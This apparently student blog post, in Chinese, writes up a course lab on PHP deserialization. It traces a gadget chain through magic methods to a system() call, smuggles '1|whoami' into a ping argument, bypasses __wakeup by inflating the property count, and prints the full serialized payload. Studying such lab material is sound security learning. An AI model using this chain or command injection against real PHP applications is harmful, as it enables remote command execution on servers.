这学期有门信息安全实践,想起车大的小学期,烈日下的南京,空调开得很低的教二,摆弄SeedUbuntu… pwd==dees
// 这门课的实验还有点意思 记录一下这个很秀的反序列化漏洞
分析
最终目标是执行命令whoami,从php文件中找到这最后一环。GetFlag
中的ping_exec()
,使用了system()
函数,那么设置$name
为"1|whoami"
;注意这里有个__wakeup()
,会给$name
赋预设的值,所以需要 绕过 它(最后将提到),绕过方法为将序列化字符串中的属性个数设置为大于实际值的量;
1 | class GetFlag |
下面就看从哪执行这个ping_exec()
,找到类string1
,不过是在一个魔法方法__toString()
中调用的:
1 | class string1 |
当某处想把string1
对象当做字符串处理时,就会用到其__toString()
,继续找把它当字符串的类:
1 | class func |
如果func
的$mod1
是stirng1
的话就能达到调用string1.__toString()
的目的;
而要想让func
做工,应该有个外界力量激活它的__invoke()
,也就是某处能做出func()
这样的语句;
找到funct
,把它的$mod1
赋值为一个func
,就能在__call()
中make出想要的func()
语句。
1 | class funct |
此时需要一个外界力量激活它的__call()
,找了半天,这个比较隐晦,先看了看__call()
的用法。
可以理解为:调用一个该类不存在的方法时,就会将方法名和参数传给__call()
,这下就可以找到这个类了:
1 | class start_gg |
如果把它的$mod1
赋值为一个funct
,则析构的时候就会调用一个funct
中没有的方法test1()
,由此激活funct
的__call()
;
另外析构方法__destruct()
的调用很轻松,创建(反序列化)一个start_gg
对象放在那等程序执行完就行了。
构造
可以先不考虑正序反序怎么套,直接简单粗暴把上面提到的这些类各new一个:
1 | $test1 = new start_gg(); |
再一步步把需要的对象成员赋值:
1 | $test5 -> name = '1 | whoami'; |
序列化输出:
1 | $s = serialize($test1); |
得到一个很长的可以作为payload的序列:
1 | O:8:"start_gg":2:{s:4:"mod1";O:5:"funct":2:{s:4:"mod1";O:4:"func":2:{s:4:"mod1";O:7:"string1":2:{s:4:"str1";O:7:"GetFlag":2:{s:4:"name";s:10:"1 | whoami";s:4:"user";N;}s:4:"str2";N;}s:4:"mod2";N;}s:4:"mod2";N;}s:4:"mod2";N;} |
反序列化时记得要绕过GetFlag
的__wakeup()
方法——将序列化字符串中”GetFlag”后的属性个数由2改为3即可绕过。
1 | O:8:"start_gg":2:{s:4:"mod1";O:5:"funct":2:{s:4:"mod1";O:4:"func":2:{s:4:"mod1";O:7:"string1":2:{s:4:"str1";O:7:"GetFlag":3:{s:4:"name";s:10:"1 | whoami";s:4:"user";N;}s:4:"str2";N;}s:4:"mod2";N;}s:4:"mod2";N;}s:4:"mod2";N;} |
测试
将payload写入一个文本文件,然后从php文件中读取并反序列化:
1 | $s = file_get_contents('s.txt'); |
可以找到whoami
的执行结果,目的达成。
当然实际攻击是将这个payload放在Cookie或者URI中传给Server并由Server中的反序列化函数进行反序列化。